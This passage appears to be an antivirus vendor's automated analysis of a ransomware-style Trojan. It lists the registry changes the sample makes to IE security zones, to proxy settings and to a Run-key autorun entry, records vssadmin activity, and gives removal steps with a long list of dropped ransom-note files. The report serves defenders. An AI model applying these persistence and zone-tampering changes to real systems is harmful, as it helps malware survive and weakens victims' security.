
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process vssadmin.exe:1340 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 69 73 0E 3C FA A1 61 9B 2A 11 9F 1A 57 7C 66"

The process vssadmin.exe:916 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 D3 5F 28 F1 62 FC C1 19 0F 7C 8C E1 82 B2 DD"

The process NOTEPAD.EXE:1888 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 29 38 98 98 0E 07 91 C1 8A 69 21 E7 BA D6 35"

The process vcwhqj.exe:228 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"VSSADMIN.EXE" = "Command Line Interface for MicrosoftÃ‚Â® Volume Shadow Copy Service"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"NOTEPAD.EXE" = "Notepad"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 93 E9 BF EB D9 3A DF AE 6F 3B 93 2B 0E D8 25"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\BF75E1A6AE908920]
"data" = "31 36 6F 4C 75 67 45 65 51 48 46 62 47 65 4E 31"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"

[HKCU\Software\msys]
"ID" = "BF 75 E1 A6 AE 90 89 20"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLinkedConnections" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
